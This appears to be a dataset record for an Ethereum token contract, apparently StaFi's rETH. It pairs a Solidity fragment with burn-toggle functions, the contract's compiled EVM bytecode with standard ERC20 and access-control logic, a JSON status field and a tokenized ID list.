// Burn currently enabled
function getBurnEnabled() public view returns (bool) {
return getBoolS("settings.reth.burn.enabled");
}
function setBurnEnabled(bool _value) public onlySuperUser {
setBoolS("settings.reth.burn.enabled", _value);
}
} | 0x6080604052600436106102305760003560e01c806379cc67901161012e578063a9059cbb116100ab578063d6eb59101161006f578063d6eb591014610c77578063dd62ed3e14610ca2578063e63ab1e914610d27578063e6aa216c14610d52578063f8e80db314610d7d57610230565b8063a9059cbb14610ad6578063bff3a9f814610b47578063ca15c87314610ba2578063d539139314610bf1578063d547741f14610c1c57610230565b80639010d07c116100f25780639010d07c146108ca57806391d148541461093957806395d89b41146109aa578063a217fddf14610a3a578063a457c2d714610a6557610230565b806379cc6790146107a15780637b2c835f146107fc5780638456cb5914610839578063852185fc146108505780638b32fa231461087b57610230565b806339509351116101bc5780634964091911610180578063496409191461069c57806354fd4d50146106d75780635c975abb146107055780636c985a881461073257806370a082311461073c57610230565b8063395093511461052f5780633f4ba83a146105a057806340c10f19146105b757806342966c68146106125780634346f03e1461064d57610230565b806323b872dd1161020357806323b872dd1461036b578063248a9ca3146103fc5780632f2ff15d1461044b578063313ce567146104a657806336568abe146104d457610230565b806306fdde0314610235578063095ea7b3146102c5578063152111f71461033657806318160ddd14610340575b600080fd5b34801561024157600080fd5b5061024a610daa565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561028a57808201518184015260208101905061026f565b50505050905090810190601f1680156102b75780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156102d157600080fd5b5061031e600480360360408110156102e857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610e4c565b60405180821515815260200191505060405180910390f35b61033e610e6a565b005b34801561034c57600080fd5b5061035561103d565b6040518082815260200191505060405180910390f35b34801561037757600080fd5b506103e46004803603606081101561038e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611047565b60405180821515815260200191505060405180910390f35b34801561040857600080fd5b506104356004803603602081101561041f57600080fd5b8101908080359060200190929190505050611120565b6040518082815260200191505060405180910390f35b34801561045757600080fd5b506104a46004803603604081101561046e57600080fd5b8101908080359060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611140565b005b3480156104b257600080fd5b506104bb6111ca565b604051808260ff16815260200191505060405180910390f35b3480156104e057600080fd5b5061052d600480360360408110156104f757600080fd5b8101908080359060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506111e1565b005b34801561053b57600080fd5b506105886004803603604081101561055257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061127a565b60405180821515815260200191505060405180910390f35b3480156105ac57600080fd5b506105b561132d565b005b3480156105c357600080fd5b50610610600480360360408110156105da57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506113bd565b005b34801561061e57600080fd5b5061064b6004803603602081101561063557600080fd5b8101908080359060200190929190505050611451565b005b34801561065957600080fd5b506106866004803603602081101561067057600080fd5b8101908080359060200190929190505050611465565b6040518082815260200191505060405180910390f35b3480156106a857600080fd5b506106d5600480360360208110156106bf57600080fd5b810190808035906020019092919050505061164f565b005b3480156106e357600080fd5b506106ec6118ec565b604051808260ff16815260200191505060405180910390f35b34801561071157600080fd5b5061071a6118fd565b60405180821515815260200191505060405180910390f35b61073a611914565b005b34801561074857600080fd5b5061078b6004803603602081101561075f57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611ae7565b6040518082815260200191505060405180910390f35b3480156107ad57600080fd5b506107fa600480360360408110156107c457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611b30565b005b34801561080857600080fd5b506108376004803603602081101561081f57600080fd5b81019080803515159060200190929190505050611b92565b005b34801561084557600080fd5b5061084e611ccb565b005b34801561085c57600080fd5b50610865611d5b565b6040518082815260200191505060405180910390f35b34801561088757600080fd5b506108b46004803603602081101561089e57600080fd5b8101908080359060200190929190505050611dbd565b6040518082815260200191505060405180910390f35b3480156108d657600080fd5b5061090d600480360360408110156108ed57600080fd5b810190808035906020019092919080359060200190929190505050611f4e565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561094557600080fd5b506109926004803603604081101561095c57600080fd5b8101908080359060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611f80565b60405180821515815260200191505060405180910390f35b3480156109b657600080fd5b506109bf611fb2565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156109ff5780820151818401526020810190506109e4565b50505050905090810190601f168015610a2c5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b348015610a4657600080fd5b50610a4f612054565b6040518082815260200191505060405180910390f35b348015610a7157600080fd5b50610abe60048036036040811015610a8857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061205b565b60405180821515815260200191505060405180910390f35b348015610ae257600080fd5b50610b2f60048036036040811015610af957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050612128565b60405180821515815260200191505060405180910390f35b348015610b5357600080fd5b50610ba060048036036040811015610b6a57600080fd5b8101908080359060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612146565b005b348015610bae57600080fd5b50610bdb60048036036020811015610bc557600080fd5b81019080803590602001909291905050506123b1565b6040518082815260200191505060405180910390f35b348015610bfd57600080fd5b50610c066123d8565b6040518082815260200191505060405180910390f35b348015610c2857600080fd5b50610c7560048036036040811015610c3f57600080fd5b8101908080359060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506123fc565b005b348015610c8357600080fd5b50610c8c612486565b6040518082815260200191505060405180910390f35b348015610cae57600080fd5b50610d1160048036036040811015610cc557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612562565b6040518082815260200191505060405180910390f35b348015610d3357600080fd5b50610d3c6125e9565b6040518082815260200191505060405180910390f35b348015610d5e57600080fd5b50610d6761260d565b6040518082815260200191505060405180910390f35b348015610d8957600080fd5b50610d92612625565b60405180821515815260200191505060405180910390f35b606060058054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610e425780601f10610e1757610100808354040283529160200191610e42565b820191906000526020600020905b815481529060010190602001808311610e2557829003601f168201915b5050505050905090565b6000610e60610e59612795565b848461279d565b6001905092915050565b6040518060400160405280601681526020017f73746166694e6574776f726b5769746864726177616c0000000000000000000081525033610f438260405160200180807f636f6e74726163742e616464726573730000000000000000000000000000000081525060100182805190602001908083835b60208310610f035780518252602082019150602081019050602083039250610ee0565b6001836020036101000a03801982511681845116808217855250505050505090500191505060405160208183030381529060405280519060200120612994565b73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614610fe3576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601c8152602001807f496e76616c6964206f72206f7574646174656420636f6e74726163740000000081525060200191505060405180910390fd5b3373ffffffffffffffffffffffffffffffffffffffff167fef51b4c870b8b0100eae2072e91db01222a303072af3728e58c9d4d2da33127f3442604051808381526020018281526020019250505060405180910390a25050565b6000600454905090565b6000611054848484612a4a565b61111584611060612795565b6111108560405180606001604052806028815260200161406960289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006110c6612795565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612d0f9092919063ffffffff16565b61279d565b600190509392505050565b600060016000838152602001908152602001600020600201549050919050565b6111676001600084815260200190815260200160002060020154611162612795565b611f80565b6111bc576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602f815260200180613f46602f913960400191505060405180910390fd5b6111c68282612dcf565b5050565b6000600760009054906101000a900460ff16905090565b6111e9612795565b73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161461126c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602f8152602001806141f7602f913960400191505060405180910390fd5b6112768282612e63565b5050565b6000611323611287612795565b8461131e8560036000611298612795565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461266a90919063ffffffff16565b61279d565b6001905092915050565b61135e7f65d7a28e3265b37a6474929f336521b332c1681b933f6cb9f3376673440d862a611359612795565b611f80565b6113b3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526039815260200180613f976039913960400191505060405180910390fd5b6113bb612ef7565b565b6113ee7f9f2df0fed2c77648de5860a4cc508cd0818c85b8b8a1ab4ceeef8d981c8956a66113e9612795565b611f80565b611443576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260368152602001806140916036913960400191505060405180910390fd5b61144d8282612fea565b5050565b61146261145c612795565b826131b3565b50565b6000806114a66040518060400160405280601481526020017f73746166694e6574776f726b42616c616e636573000000000000000000000000815250613379565b905060008173ffffffffffffffffffffffffffffffffffffffff1663964d042c6040518163ffffffff1660e01b815260040160206040518083038186803b1580156114f057600080fd5b505afa158015611504573d6000803e3d6000fd5b505050506040513d602081101561151a57600080fd5b8101908080519060200190929190505050905060008273ffffffffffffffffffffffffffffffffffffffff1663c4c8d0ad6040518163ffffffff1660e01b815260040160206040518083038186803b15801561157557600080fd5b505afa158015611589573d6000803e3d6000fd5b505050506040513d602081101561159f57600080fd5b8101908080519060200190929190505050905060008114156115c65784935050505061164a565b6000821161161f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252604681526020018061418c6046913960600191505060405180910390fd5b6116448261163683886134cc90919063ffffffff16565b61355290919063ffffffff16565b93505050505b919050565b611657612625565b6116c9576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601a8152602001807f4275726e2069732063757272656e746c792064697361626c656400000000000081525060200191505060405180910390fd5b6000811161173f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260198152602001807f496e76616c696420746f6b656e206275726e20616d6f756e740000000000000081525060200191505060405180910390fd5b8061174933611ae7565b10156117bd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260198152602001807f496e73756666696369656e7420724554482062616c616e63650000000000000081525060200191505060405180910390fd5b60006117c882611dbd565b905060006117d4612486565b90508181101561182f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180613f216025913960400191505060405180910390fd5b61183933846131b3565b6118428261359c565b3373ffffffffffffffffffffffffffffffffffffffff166108fc839081150290604051600060405180830381858888f19350505050158015611888573d6000803e3d6000fd5b503373ffffffffffffffffffffffffffffffffffffffff167f19783b34589160c168487dc7f9c51ae0bcefe67a47d6708fba90f6ce0366d3d184844260405180848152602001838152602001828152602001935050505060405180910390a2505050565b60008054906101000a900460ff1681565b6000600760019054906101000a900460ff16905090565b6040518060400160405280601081526020017f7374616669557365724465706f73697400000000000000000000000000000000815250336119ed8260405160200180807f636f6e74726163742e616464726573730000000000000000000000000000000081525060100182805190602001908083835b602083106119ad578051825260208201915060208101905060208303925061198a565b6001836020036101000a03801982511681845116808217855250505050505090500191505060405160208183030381529060405280519060200120612994565b73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614611a8d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601c8152602001807f496e76616c6964206f72206f7574646174656420636f6e74726163740000000081525060200191505060405180910390fd5b3373ffffffffffffffffffffffffffffffffffffffff167fef51b4c870b8b0100eae2072e91db01222a303072af3728e58c9d4d2da33127f3442604051808381526020018281526020019250505060405180910390a25050565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000611b6f826040518060600160405280602481526020016140c760249139611b6086611b5b612795565b612562565b612d0f9092919063ffffffff16565b9050611b8383611b7d612795565b8361279d565b611b8d83836131b3565b505050565b611bd16040518060400160405280600581526020017f6f776e657200000000000000000000000000000000000000000000000000000081525033613673565b80611c175750611c166040518060400160405280600581526020017f61646d696e00000000000000000000000000000000000000000000000000000081525033613673565b5b611c89576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f4163636f756e74206973206e6f7420612073757065722075736572000000000081525060200191505060405180910390fd5b611cc86040518060400160405280601a81526020017f73657474696e67732e726574682e6275726e2e656e61626c656400000000000081525082613740565b50565b611cfc7f65d7a28e3265b37a6474929f336521b332c1681b933f6cb9f3376673440d862a611cf7612795565b611f80565b611d51576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260378152602001806141556037913960400191505060405180910390fd5b611d5961384c565b565b600080670de0b6b3a764000090506000611d7b611d7661103d565b611dbd565b90506000811415611d90578192505050611dba565b611db581611da747856134cc90919063ffffffff16565b61355290919063ffffffff16565b925050505b90565b600080611dfe6040518060400160405280601481526020017f73746166694e6574776f726b42616c616e636573000000000000000000000000815250613379565b905060008173ffffffffffffffffffffffffffffffffffffffff1663964d042c6040518163ffffffff1660e01b815260040160206040518083038186803b158015611e4857600080fd5b505afa158015611e5c573d6000803e3d6000fd5b505050506040513d6020811015611e7257600080fd5b8101908080519060200190929190505050905060008273ffffffffffffffffffffffffffffffffffffffff1663c4c8d0ad6040518163ffffffff1660e01b815260040160206040518083038186803b158015611ecd57600080fd5b505afa158015611ee1573d6000803e3d6000fd5b505050506040513d6020811015611ef757600080fd5b810190808051906020019092919050505090506000811415611f1e57849350505050611f49565b611f4381611f3584886134cc90919063ffffffff16565b61355290919063ffffffff16565b93505050505b919050565b6000611f78826001600086815260200190815260200160002060000161394090919063ffffffff16565b905092915050565b6000611faa826001600086815260200190815260200160002060000161395a90919063ffffffff16565b905092915050565b606060068054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561204a5780601f1061201f5761010080835404028352916020019161204a565b820191906000526020600020905b81548152906001019060200180831161202d57829003601f168201915b5050505050905090565b6000801b81565b600061211e612068612795565b84612119856040518060600160405280602581526020016141d26025913960036000612092612795565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612d0f9092919063ffffffff16565b61279d565b6001905092915050565b600061213c612135612795565b8484612a4a565b6001905092915050565b6040518060400160405280601081526020017f7374616669557365724465706f736974000000000000000000000000000000008152503361221f8260405160200180807f636f6e74726163742e616464726573730000000000000000000000000000000081525060100182805190602001908083835b602083106121df57805182526020820191506020810190506020830392506121bc565b6001836020036101000a03801982511681845116808217855250505050505090500191505060405160208183030381529060405280519060200120612994565b73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16146122bf576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601c8152602001807f496e76616c6964206f72206f7574646174656420636f6e74726163740000000081525060200191505060405180910390fd5b60006122ca85611465565b905060008111612342576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260198152602001807f496e76616c696420746f6b656e206d696e7420616d6f756e740000000000000081525060200191505060405180910390fd5b61234c8482612fea565b8373ffffffffffffffffffffffffffffffffffffffff167f6155cfd0fd028b0ca77e8495a60cbe563e8bce8611f0aad6fedbdaafc05d44a282874260405180848152602001838152602001828152602001935050505060405180910390a25050505050565b60006123d16001600084815260200190815260200160002060000161398a565b9050919050565b7f9f2df0fed2c77648de5860a4cc508cd0818c85b8b8a1ab4ceeef8d981c8956a681565b612423600160008481526020019081526020016000206002015461241e612795565b611f80565b612478576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260308152602001806140186030913960400191505060405180910390fd5b6124828282612e63565b5050565b6000806124c76040518060400160405280601081526020017f7374616669557365724465706f73697400000000000000000000000000000000815250613379565b905061255c478273ffffffffffffffffffffffffffffffffffffffff1663888b042f6040518163ffffffff1660e01b815260040160206040518083038186803b15801561251357600080fd5b505afa158015612527573d6000803e3d6000fd5b505050506040513d602081101561253d57600080fd5b810190808051906020019092919050505061266a90919063ffffffff16565b91505090565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b7f65d7a28e3265b37a6474929f336521b332c1681b933f6cb9f3376673440d862a81565b6000612620670de0b6b3a7640000611dbd565b905090565b60006126656040518060400160405280601a81526020017f73657474696e67732e726574682e6275726e2e656e61626c656400000000000081525061399f565b905090565b6000808284019050838110156126e8576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b600061271a836000018373ffffffffffffffffffffffffffffffffffffffff1660001b613ac6565b905092915050565b61272d838383612790565b6127356118fd565b1561278b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602a815260200180614226602a913960400191505060405180910390fd5b505050565b505050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415612823576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260248152602001806141316024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156128a9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526022815260200180613fd06022913960400191505060405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b60008060019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166321f8a721836040518263ffffffff1660e01b81526004018082815260200191505060206040518083038186803b158015612a0857600080fd5b505afa158015612a1c573d6000803e3d6000fd5b505050506040513d6020811015612a3257600080fd5b81019080805190602001909291905050509050919050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415612ad0576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602581526020018061410c6025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415612b56576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180613efe6023913960400191505060405180910390fd5b612b61838383613b36565b612bcd81604051806060016040528060268152602001613ff260269139600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612d0f9092919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612c6281600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461266a90919063ffffffff16565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b6000838311158290612dbc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015612d81578082015181840152602081019050612d66565b50505050905090810190601f168015612dae5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b612df781600160008581526020019081526020016000206000016126f290919063ffffffff16565b15612e5f57612e04612795565b73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16837f2f8788117e7eff1d82e926ec794901d17c78024a50270940304540a733656f0d60405160405180910390a45b5050565b612e8b8160016000858152602001908152602001600020600001613b4690919063ffffffff16565b15612ef357612e98612795565b73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16837ff6391f5c32d9c69d2a47ea670b442974b53935d1edc7fd64eb21e047a839171b60405160405180910390a45b5050565b600760019054906101000a900460ff16612f79576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260148152602001807f5061757361626c653a206e6f742070617573656400000000000000000000000081525060200191505060405180910390fd5b6000600760016101000a81548160ff0219169083151502179055507f5db9ee0a495bf2e6ff9c91a7834c1ba4fdd244a5e8aa4e537bd38aeae4b073aa612fbd612795565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390a1565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561308d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f45524332303a206d696e7420746f20746865207a65726f20616464726573730081525060200191505060405180910390fd5b61309960008383613b36565b6130ae8160045461266a90919063ffffffff16565b60048190555061310681600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461266a90919063ffffffff16565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415613239576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001806140eb6021913960400191505060405180910390fd5b61324582600083613b36565b6132b181604051806060016040528060228152602001613f7560229139600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612d0f9092919063ffffffff16565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061330981600454613b7690919063ffffffff16565b600481905550600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b60008061341e8360405160200180807f636f6e74726163742e616464726573730000000000000000000000000000000081525060100182805190602001908083835b602083106133de57805182526020820191506020810190506020830392506133bb565b6001836020036101000a03801982511681845116808217855250505050505090500191505060405160208183030381529060405280519060200120612994565b9050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156134c3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260128152602001807f436f6e7472616374206e6f7420666f756e64000000000000000000000000000081525060200191505060405180910390fd5b80915050919050565b6000808314156134df576000905061354c565b60008284029050828482816134f057fe5b0414613547576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001806140486021913960400191505060405180910390fd5b809150505b92915050565b600061359483836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250613bc0565b905092915050565b60004790508181106135ae5750613670565b60006135ee6040518060400160405280601081526020017f7374616669557365724465706f73697400000000000000000000000000000000815250613379565b90508073ffffffffffffffffffffffffffffffffffffffff166363a5db9e61361f8486613b7690919063ffffffff16565b6040518263ffffffff1660e01b815260040180828152602001915050600060405180830381600087803b15801561365557600080fd5b505af1158015613669573d6000803e3d6000fd5b5050505050505b50565b6000613738838360405160200180807f6163636573732e726f6c65000000000000000000000000000000000000000000815250600b0183805190602001908083835b602083106136d857805182526020820191506020810190506020830392506136b5565b6001836020036101000a0380198251168184511680821785525050505050509050018273ffffffffffffffffffffffffffffffffffffffff1660601b81526014019250505060405160208183030381529060405280519060200120613c86565b905092915050565b600060019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663abfdcced836040516020018082805190602001908083835b602083106137b55780518252602082019150602081019050602083039250613792565b6001836020036101000a03801982511681845116808217855250505050505090500191505060405160208183030381529060405280519060200120836040518363ffffffff1660e01b815260040180838152602001821515815260200192505050600060405180830381600087803b15801561383057600080fd5b505af1158015613844573d6000803e3d6000fd5b505050505050565b600760019054906101000a900460ff16156138cf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260108152602001807f5061757361626c653a207061757365640000000000000000000000000000000081525060200191505060405180910390fd5b6001600760016101000a81548160ff0219169083151502179055507f62e78cea01bee320cd4e420270b5ea74000d11b0c9f74754ebdbfc544b05a258613913612795565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390a1565b600061394f8360000183613d3c565b60001c905092915050565b6000613982836000018373ffffffffffffffffffffffffffffffffffffffff1660001b613dbf565b905092915050565b600061399882600001613de2565b9050919050565b60008060019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16637ae1cfca836040516020018082805190602001908083835b60208310613a1557805182526020820191506020810190506020830392506139f2565b6001836020036101000a038019825116818451168082178552505050505050905001915050604051602081830303815290604052805190602001206040518263ffffffff1660e01b81526004018082815260200191505060206040518083038186803b158015613a8457600080fd5b505afa158015613a98573d6000803e3d6000fd5b505050506040513d6020811015613aae57600080fd5b81019080805190602001909291905050509050919050565b6000613ad28383613dbf565b613b2b578260000182908060018154018082558091505060019003906000526020600020016000909190919091505582600001805490508360010160008481526020019081526020016000208190555060019050613b30565b600090505b92915050565b613b41838383612722565b505050565b6000613b6e836000018373ffffffffffffffffffffffffffffffffffffffff1660001b613df3565b905092915050565b6000613bb883836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250612d0f565b905092915050565b60008083118290613c6c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015613c31578082015181840152602081019050613c16565b50505050905090810190601f168015613c5e5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b506000838581613c7857fe5b049050809150509392505050565b60008060019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16637ae1cfca836040518263ffffffff1660e01b81526004018082815260200191505060206040518083038186803b158015613cfa57600080fd5b505afa158015613d0e573d6000803e3d6000fd5b505050506040513d6020811015613d2457600080fd5b81019080805190602001909291905050509050919050565b600081836000018054905011613d9d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526022815260200180613edc6022913960400191505060405180910390fd5b826000018281548110613dac57fe5b9060005260206000200154905092915050565b600080836001016000848152602001908152602001600020541415905092915050565b600081600001805490509050919050565b60008083600101600084815260200190815260200160002054905060008114613ecf5760006001820390506000600186600001805490500390506000866000018281548110613e3e57fe5b9060005260206000200154905080876000018481548110613e5b57fe5b9060005260206000200181905550600183018760010160008381526020019081526020016000208190555086600001805480613e9357fe5b60019003818190600052602060002001600090559055866001016000878152602001908152602001600020600090556001945050505050613ed5565b60009150505b9291505056fe456e756d657261626c655365743a20696e646578206f7574206f6620626f756e647345524332303a207472616e7366657220746f20746865207a65726f2061646472657373496e73756666696369656e74204554482062616c616e636520666f722065786368616e6765416363657373436f6e74726f6c3a2073656e646572206d75737420626520616e2061646d696e20746f206772616e7445524332303a206275726e20616d6f756e7420657863656564732062616c616e636545524332305072657365744d696e7465725061757365723a206d75737420686176652070617573657220726f6c6520746f20756e706175736545524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e6365416363657373436f6e74726f6c3a2073656e646572206d75737420626520616e2061646d696e20746f207265766f6b65536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f7745524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332305072657365744d696e7465725061757365723a206d7573742068617665206d696e74657220726f6c6520746f206d696e7445524332303a206275726e20616d6f756e74206578636565647320616c6c6f77616e636545524332303a206275726e2066726f6d20746865207a65726f206164647265737345524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737345524332305072657365744d696e7465725061757365723a206d75737420686176652070617573657220726f6c6520746f20706175736543616e6e6f742063616c63756c617465207245544820746f6b656e20616d6f756e74207768696c6520746f74616c206e6574776f726b2062616c616e6365206973207a65726f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726f416363657373436f6e74726f6c3a2063616e206f6e6c792072656e6f756e636520726f6c657320666f722073656c6645524332305061757361626c653a20746f6b656e207472616e73666572207768696c6520706175736564a2646970667358221220ef503b29faa8e26fc3255577f044aef51342ac1f5d82e90dc9216f79388e83cf64736f6c634300060c0033 | {"success": true, "error": null, "results": {}} | true | null | {} | [
101,
1014,
2595,
2683,
24087,
2683,
11057,
2050,
2620,
2475,
2094,
2683,
21084,
2683,
2278,
2581,
2050,
2581,
2497,
19317,
2692,
2063,
2581,
2278,
21472,
2487,
2094,
2475,
2063,
2581,
2549,
2278,
2683,
2050,
19481,
2683,
2509,
10975,
8490,
2863,
5024,
3012,
1014,
